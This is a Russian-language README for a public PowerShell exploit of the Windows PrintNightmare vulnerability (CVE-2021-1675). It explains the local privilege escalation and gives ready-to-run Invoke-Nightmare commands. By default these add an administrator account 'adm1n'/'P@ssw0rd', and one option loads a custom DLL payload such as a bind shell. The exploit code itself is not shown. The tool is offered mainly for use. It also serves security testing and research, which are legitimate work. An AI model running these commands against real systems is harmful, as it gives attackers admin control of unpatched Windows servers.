
PowerShell-скрипт для локального повышения привилегий в Windows через уязвимость PrintNightmare (CVE-2021-1675), добавляющий локального пользователя с правами администратора или выполняющий пользовательские DLL-нагрузки.
Caleb Stewart | John Hammond | 1 июля 2021
CVE-2021-1675 — это критическая уязвимость удалённого выполнения кода и локального повышения привилегий, получившая название «PrintNightmare».
Эксплойты Proof-of-concept были опубликованы (Python, C++) для возможности удалённого выполнения кода, а также версия на C# для локального повышения привилегий. Мы не видели нативной реализации на чистом PowerShell и захотели попробовать свои силы в доработке и переработке эксплойта.
Этот PowerShell-скрипт выполняет локальное повышение привилегий (LPE) с помощью техники атаки PrintNightmare.

Протестировано на Windows Server 2016 и Windows Server 2019.
По умолчанию добавляет нового пользователя в группу локальных администраторов:
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # по умолчанию добавляет пользователя `adm1n`/`P@ssw0rd` в группу локальных администраторов
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
Укажите собственный DLL-пейлоад, чтобы сделать что-либо ещё.
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"